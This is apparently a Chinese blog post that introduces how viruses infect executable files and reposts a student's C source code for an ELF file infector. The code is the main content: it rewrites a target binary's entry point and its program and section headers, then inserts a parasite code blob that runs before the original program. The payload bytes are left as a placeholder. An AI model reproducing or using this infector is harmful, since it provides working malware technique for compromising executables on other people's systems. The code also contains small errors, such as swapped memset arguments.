病毒感染可执行文件初探


大部分病毒都是感染可执行文件,可执行文件的格式有多种,常用的COFF与ELF,ELF主要在linux下,ELF文件的内容按一下的格式组织,只要你知道这个格式就能编写程序将自己的代码加到ELF文件中,下面转贴一篇这方面的文章上。

/*
ELF infector source file
Student:

Student ID:
Class:

*/

#include <stdio.h>
#include <stdlib.h>
#include <elf.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>

//Define PAGESIZE,default 4K byte

#define PAGESIZE 4096

//Parasite Virus Code.The code is copied from Internet.

char Virus[]={/*Binary code for test*/};


int infect(char *ElfFile);
//The size of Virus Code
int VirusSize=sizeof(Virus);

int jmppoint=/*Jump point of binary code of Virus*/;


//Infector Function

int infect(char *ElfFile)
{
    int result=0;
    int Re;
    int FileD;
    int TmpD;
    int OldEntry;
    int OldShoff;
        int OldPhsize;
        int i=0;

    Elf32_Ehdr elfh;
    Elf32_Phdr Phdr;
    Elf32_Shdr Shdr;
    
    //Open ELF file and read the elf header part to &elfh

    FileD=open(ElfFile,O_RDWR);
    read(FileD,&elfh,sizeof(elfh));
    if((strncmp(elfh.e_ident,ELFMAG,SELFMAG))!=0)
        exit(0);

        //Old entry of original elf file

    OldEntry=elfh.e_entry;
        //Old section header offset of elf file

    OldShoff=elfh.e_shoff;
    
    //modify the Virus code line"movl "Oldentry",%eax" to jump to old entry

    //after the Virus code excuted

        *(int *)&Virus[jmppoint]=OldEntry;
    
    //Increase e_shoff by PAGESIZE in the ELF header

    elfh.e_shoff += PAGESIZE;
        
    //if Virus Size is too large

    if (VirusSize > (PAGESIZE-(elfh.e_entry%PAGESIZE)))
                exit(0);
    
    int Noff=0;
    //The loop of read and modify program header

    for(i=0;i<elfh.e_phnum;i++)
    {
        
                //seek and read to &Phdr

     lseek(FileD,elfh.e_phoff+i*elfh.e_phentsize,SEEK_SET);
                read(FileD,&Phdr,sizeof(Phdr));
        if(Noff)
        {
            //For each phdr who's segment is after the insertion (text segment)

            //increase p_offset by PAGESIZE                

            Phdr.p_offset += PAGESIZE;

            //write back

            lseek(FileD,elfh.e_phoff+i*elfh.e_phentsize,SEEK_SET);
            write(FileD,&Phdr,sizeof(Phdr));
        }

        else if(PT_LOAD == Phdr.p_type && Phdr.p_offset==0)
        {
            if (Phdr.p_filesz != Phdr.p_memsz)
                exit(0);
            // Locate the text segment program header

         //Modify the entry point of the ELF header to point to the new

         //code (p_vaddr + p_filesz)

            elfh.e_entry = Phdr.p_vaddr + Phdr.p_filesz+4;
            lseek(FileD,0,SEEK_SET);
            
            //Write back the new elf header

            write(FileD,&elfh,sizeof(elfh));
            OldPhsize=Phdr.p_filesz;
            Noff=Phdr.p_offset+Phdr.p_filesz;
            
            //Increase p_filesz by account for the new code (parasite)

            Phdr.p_filesz += VirusSize;
            
            //Increase p_memsz to account for the new code (parasite)    

            Phdr.p_memsz += VirusSize;
            
            //write back the program header

            lseek(FileD,elfh.e_phoff+i*elfh.e_phentsize,SEEK_SET);
            write(FileD,&Phdr,sizeof(Phdr));
        }
    }
    lseek(FileD,OldShoff,SEEK_SET);

    //The loop of read and modify the section header

    for(i=0;i<elfh.e_shnum;i++)
    {

        lseek(FileD,i*sizeof(Shdr)+OldShoff,SEEK_SET);
        Re=read(FileD,&Shdr,sizeof(Shdr));
                
                if (i==1)
        {
            //For the last shdr in the text segment

            //increase sh_size by the virus size    

            Shdr.sh_size += VirusSize;
        }
                else if(i!=0)
        {
            //For each shdr whoes section resides after the insertion

            //increase sh_offset by PAGESIZE                

            Shdr.sh_offset += PAGESIZE;
        }
                        
        //Write Back

        lseek(FileD,OldShoff+i*sizeof(Shdr),SEEK_SET);
        write(FileD,&Shdr,sizeof(Shdr));

    }
        
    //To get the file size FileStat.st_size

    struct stat FileStat;
    fstat(FileD,&FileStat);

    char *Data=NULL;
    Data=(char*)malloc(FileStat.st_size-OldPhsize);

    lseek(FileD,OldPhsize,SEEK_SET);
    read(FileD,Data,FileStat.st_size-OldPhsize);

    //Insert the Virus Code to the elf file

    lseek(FileD,OldPhsize,SEEK_SET);
    write(FileD,Virus,sizeof(Virus));
        char tmp[PAGESIZE]={0};
    
    //Pad to PAGESIZE

        memset(tmp,PAGESIZE-VirusSize,0);
        write(FileD,tmp,PAGESIZE-VirusSize);

    write(FileD,Data,FileStat.st_size-OldPhsize);
    result=1;

    free(Data);

    return result;            
        
}

//Just for test

int main(int argc,char **argv)
{
      //How to use it

      if (argc!=2)
      {
        printf("Usage : infect <ELF filename>/n");
                exit(0);
      }
    
      int test=infect(argv[1]);
      if(test != 1)
      {
     exit(0);
      }
    return 0;
}

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